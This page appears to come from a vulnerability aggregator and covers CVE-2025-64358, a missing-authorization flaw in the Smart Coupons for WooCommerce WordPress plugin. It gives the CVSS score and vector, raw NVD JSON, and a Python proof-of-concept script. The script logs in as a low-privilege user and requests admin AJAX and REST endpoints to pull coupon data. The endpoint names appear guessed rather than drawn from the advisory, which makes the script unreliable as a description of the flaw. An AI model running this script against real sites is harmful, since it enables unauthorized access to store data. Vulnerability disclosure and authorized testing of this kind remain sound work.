Security Vulnerability Report
中文
CVE-2025-64358 CVSS 4.3 MEDIUM

CVE-2025-64358

Published: 2025-10-31 12:15:36
Last Modified: 2026-04-27 16:16:41

Description

Missing Authorization vulnerability in WebToffee Smart Coupons for WooCommerce wt-smart-coupons-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Smart Coupons for WooCommerce: from n/a through <= 2.2.3.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

wt-smart-coupons-for-woocommerce <= 2.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64358 PoC - Missing Authorization in Smart Coupons for WooCommerce # This PoC demonstrates how a low-privilege user can access admin functions TARGET_URL = "https://vulnerable-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_token(): """Obtain WordPress authentication cookie via XMLRPC or REST API""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() # Attempt login login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=False) return session.cookies.get_dict() def exploit_unauthorized_access(cookies): """Attempt to access protected coupon data without proper authorization""" # Target endpoints that should require admin privileges targets = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=wt_smart_coupon_export", f"{TARGET_URL}/wp-json/wt-smart-coupons/v1/coupons", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=wt_get_all_coupons" ] for endpoint in targets: print(f"[*] Testing endpoint: {endpoint}") response = requests.get(endpoint, cookies=cookies) if response.status_code == 200 and 'coupon' in response.text.lower(): print(f"[!] VULNERABLE: Unauthorized access successful!") print(f"[+] Response preview: {response.text[:500]}") return True else: print(f"[-] Access denied or no coupon data found") return False if __name__ == "__main__": print("CVE-2025-64358 PoC - Smart Coupons for WooCommerce Authorization Bypass") print("=" * 70) cookies = get_auth_token() if cookies: print("[+] Login successful with low-privilege account") if exploit_unauthorized_access(cookies): print("\n[!] Target is vulnerable to CVE-2025-64358") else: print("\n[-] Target may not be vulnerable") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64358", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:36.173", "lastModified": "2026-04-27T16:16:40.953", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WebToffee Smart Coupons for WooCommerce wt-smart-coupons-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Smart Coupons for WooCommerce: from n/a through <= 2.2.3."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en WebToffee Smart Coupons para WooCommerce wt-smart-coupons-for-woocommerce permite explotar niveles de seguridad de control de acceso mal configurados. Este problema afecta a Smart Coupons para WooCommerce: desde n/a hasta menor igual que 2.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wt-smart-coupons-for-woocommerce/vulnerability/wordpress-smart-coupons-for-woocommerce-plugin-2-2-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}